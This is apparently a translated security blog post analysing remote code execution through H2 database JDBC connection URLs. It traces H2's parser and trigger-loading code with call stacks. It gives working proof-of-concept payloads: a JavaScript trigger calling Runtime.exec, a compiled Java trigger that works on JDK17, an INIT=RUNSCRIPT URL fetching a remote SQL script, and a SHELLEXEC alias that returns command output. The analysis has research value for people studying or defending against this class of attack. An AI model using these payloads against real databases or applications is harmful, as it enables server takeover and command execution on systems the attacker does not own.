JDBC H2 Attack#
H2#
$$ in H2 represents setting a function
eval executes the script with the mutated var3 name
Call stack:
loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2
0x01 TRIGGER RCE#
javascript#
In JDK15, the
JavaScript /Nashorn
engine has been completely removed (which means that//javascript
cannot be used for RCE in versions abovejdk15
,jsEngine will be null
and then a null pointer error will occur)
Environment
jdk8u20
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>
import java.sql.DriverManager;
public class H2 {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
"Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
java.sql.Connection conn = DriverManager.getConnection(simplexp2);
}
}
H2 Parsing Process#
public JdbcConnection(String var1, Properties var2) throws SQLException {
this(new ConnectionInfo(var1, var2), true);
}
First, enter new ConnectionInfo(var1, var2)
to see how to set some connection information
Enter readSettingsFromURL
Go back
name is the latter part of the value in the url, and then the name value will be parsed,
tcp:
and ssl:
will enable remote remote=true
, and the subsequent check for remote
will perform a remote connection
mem
: indicates using memory mode, the database is stored in memory. test
: the name of the database connection.
Because the poc sets mem:
, it will make persistent = false;
, which is useful here because there is a subsequent call to getName()
,
If persistent != false;
, it will check the name, and it will just happen to be true, then throw an error.
It will check whether name
contains indicators of relative paths (such as ./
, .\\
, :/
, :\\
, etc.), and whether SysProperties.IMPLICIT_RELATIVE_PATH
is false
. If name
is not an absolute path and does not contain these relative path indicators, an exception will be thrown.
Then return to new ConnectionInfo(var1, var2)
, and the rest is just a convertPasswords
handling and converting passwords, but nothing is set here, so there is not much operation, thus ending the parsing of the connection information.
init#
Only after obtaining the connection information does the connection process begin
Reflectively load the H2 database engine class, and then create a session through the engine class
Call INSTANCE.createSessionAndValidate(ci)
to create and validate the session, then enter openSession(ci);
Remove IFEXISTS (whether it exists), FORBID_CREATION (forbid connection), IGNORE_UNKNOWN_SETTINGS, CIPHER (connection password), INIT
from the connection information, and then input some information to call openSession
to attempt to open the session
In another openSession
, the DATABASES
name is obtained, and it checks whether it exists and whether forbidCreation
is true. If neither condition is met, it creates the database, and subsequently creates a user and password, using mem:test
as the key for the newly created database, then returns to the original openSession
method.
If the init
variable is not empty, it attempts to execute the initialization command.
parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)
Initialization command completed
Then arrive at TriggerObject#loadFromSource
, call to execute
This function loads the trigger object from the source code, first obtaining the database's compiler instance, then constructing the full class name of the trigger, which is org.h2.dynamic.trigger.TRIG_JS
, setSource
sets the trigger's source code to the specified class name, and then checks whether the trigger source code is JavaScript source code. If it is JavaScript source code, it compiles and executes the script.
Then first enter getCompiledScript()
Here, in JDK15, the JavaScript /Nashorn
engine has been completely removed (which means that //javascript
cannot be used for RCE in versions above jdk15
, jsEngine will be null
and then a null pointer error will occur).
Next, let's see how to obtain the js engine,
"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"
Then names
is matched with the name
we passed in, and if matched, it returns the initialized engine
.
However, it is important to note that there is also a check for javascript beforehand:
Summary#
This attack method mainly relies on java Trigger
(Java trigger), which is a container for executing backend Java code logic to achieve RCE. After the init command is partially read, it is treated as the Trigger
's Trigger source code
, and then the corresponding engine is used to execute that source code.
Writing poc mainly looks at the process of parsing SQL statements.
0x02 Bypassing //javascript#
Attempt to Register Engine (Failed)#
Because after JDK15, javascript cannot be used
The above image shows that in jdk17, when obtaining jsEngine, it is null, leading to subsequent errors, because the registered engine was not found in associations
, and no engine was found in the engineSpis
collection.
Then I found a place in jdk17 where associations
can be registered
However, it is necessary to see what the previous factory was, and then check that the factory used in jdk8 is NashornScriptEngineFactory
, and the spis is obtained through its name.
ScriptEngine engine = spi.getScriptEngine();
engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
return engine;
Check which classes implement the factory interface in jdk17, unfortunately, there are none.
The main issue is that jdk17 does not have NashornScriptEngineFactory
and NashornScriptEngine
, and the original code directly creates a ScriptEngineManager
and looks for the engine without any additional operations, which you cannot control.
Control Trigger Code Generation#
import java.sql.DriverManager;
public class H2_Bypass {
public static void main(String[] args) throws Exception {
Class.forName("org.h2.Driver");
String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
java.sql.Connection conn = DriverManager.getConnection(simplexp);
}
}
Still, first check the command parsing part
Call stack
parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass
Just right corresponds to the poc, and then go to the last trigger point
fullClassName
and triggerSource
are loaded into the compiler, and then follow up with getClass(className);
public Method getMethod(String className) throws ClassNotFoundException {
Class<?> clazz = getClass(className);
Method[] methods = clazz.getDeclaredMethods();
...
Following getClass
, it directly goes to classLoader.loadClass(packageAndClassName);
By getCompleteSourceCode()
, it completes the full class file's code, including package, className, sourcecode (in poc)
Then it uses javaxToolsJavac
to load that class, puts it into a map, and returns
that class object
.
The above call stack:
findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)
Finally, call invoke
to trigger the malicious method.
0x03 INIT RunScript RCE#
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
poc.sql
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');
Call stack
execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
It executes each SQL statement in a while loop, executing one statement at a time.
$$ Logic#
Check how to parse to get the command
, call stack
initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3
Initialization
Enter Tokenizer.tokenize
This is the key to parsing the JDBC string, it will loop to match the starting character: for example, if our string is RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql'
, starting with R enters the case to call readR.
readR first calls findIdentifierEnd to look for the keyword, here RSCRIPT has been found, but RIGHT EOW ROWNUM needs to be matched in order, and if not matched, it finally calls readIdentifierOrKeyword. Here, RUNSCRIPT extraction is completed.
Next, it skips the space
The From keyword
When encountering a single quote, it extracts the characters inside, obtaining tokens as follows:
Check the $$
logic
Where sql.substring(stringStart, stringEnd)
is the function we defined
Bypassing $#
As seen above, $
is added through new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);
, search for CharacterStringToken
It can be found that readCharacterString
also exists, and in case '\''
there is a call
So replacing $$
in poc.sql with single quotes is also possible, thus in 0x02 it can also be switched.
Issues to Note in poc#
If we normally write dangerous functions, we find that RCE cannot be directly achieved, why did the author add an escape character later?
String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";
It can be seen that when passing in SQL, the extra escape character is gone, tracing back
At this point, the original URL in ci is still jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator")\;}'
If no escape character is added
readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1
Because it is split by ;
, it causes the dangerous function in the original poc to be divided into two parts.
Adding two escape characters is sufficient.
0x04 H2 Database Exploitation ALIAS#
Download the jar, I downloaded the latest version, and it needs to be started with jdk17, then directly connect, and there is an online h2 database.
/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)
Echo#
DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;
// Call SHELLEXEC to execute commands
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');
0x05 References#
https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD
zjj